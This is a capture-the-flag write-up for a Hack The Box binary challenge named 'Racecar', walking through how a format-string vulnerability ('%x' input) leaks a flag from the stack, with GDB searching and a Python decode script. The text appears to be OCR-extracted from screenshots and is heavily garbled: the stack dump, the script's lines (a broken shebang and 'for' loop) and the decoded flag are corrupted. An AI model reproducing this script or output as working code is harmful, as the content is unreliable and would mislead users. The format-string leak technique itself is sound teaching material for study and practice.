Joe Grassl

Racecar

1. The program asks for a name, a nickname, and a choice of car.

Insert your data:

Name: delta
Nickname: deltal]

2. Car #1 always wins race #2 and vice versa. The program displays an error
because it can't find a flag.txt file on my computer.

[*] Your name is [delta] but everybody calls you.. [delta]!
[*] Current coins: [69]

1. Car info
2. Car selection
> 2

Select car:
1.

2.
>

*] Waiting for the race to finish...

[+] You won the race!! You get 108 coins!
[+] Current coins: [169]

[!] Do you have anything to say to the press after your big victory?
> [-] Could not open flag.txt. Please contact the creator.
delta@host:downloads$ ||

3. Creating flag.txt allows the program to continue and print out your victory
message.

[!] Do you have anything to say to the press after your big victory?
> Hello world!

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
Hello world!

delta@host:downloads$ I




4. After trying a few different inputs to check for a buffer overflow, | decided to
look for a format string vulnerability. The program prints a memory address.
Format string vuln confirmed.

['] Do you have anything to say to the press after your big victery?
> Hello world!%x

IThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
Hello world!5856e2080
delta@host:downloads$ ||

5. Searching memory in GDB reveals that the contents of my local flag.txt file
are on the stack.

pwndbg> search blah

6. The input below asks for a whole bunch of pointers in order to dump the
stack. The 12" pointer contains little-endian hexadecimal that decodes to
“blah”, the text in my flag.txt file.

[24/1924]

0x5655a3680 [BOLINIT4Y 0x5655000a Bxf7e@eB65 Ox7 @ @x56556d58 Bx565

| CODE | | RWX | RODATA

76 Bx665£3368




8. Then, | wrote the following script to automatically decode the stack values
to ASCII text. It's a more robust implementation of the code used to solve a
similar challenge, as shown here: https://breadchris.github.io/ctf/format-
string/2015/05/04/backdoor-team.

B! /ust/bin/python3

import math

Bx7d213f @x5d6fdb@B Bxf
x in hex split("8x")

for 1 in range(math.floor
flag += chr(int(x[len(x
except Exception as e
break

print(flag)

9. The flag decodes perfectly! Because the flag format is always HTB{(flag)},
everything after the right curly bracket can be ignored. Mission accomplished!

deltaBhost:~% ./decode
HTB{why_d1d_1_skv3_th3_flkg_Bn_th3_5thck?!}00]?|

delta@host:-$ ||



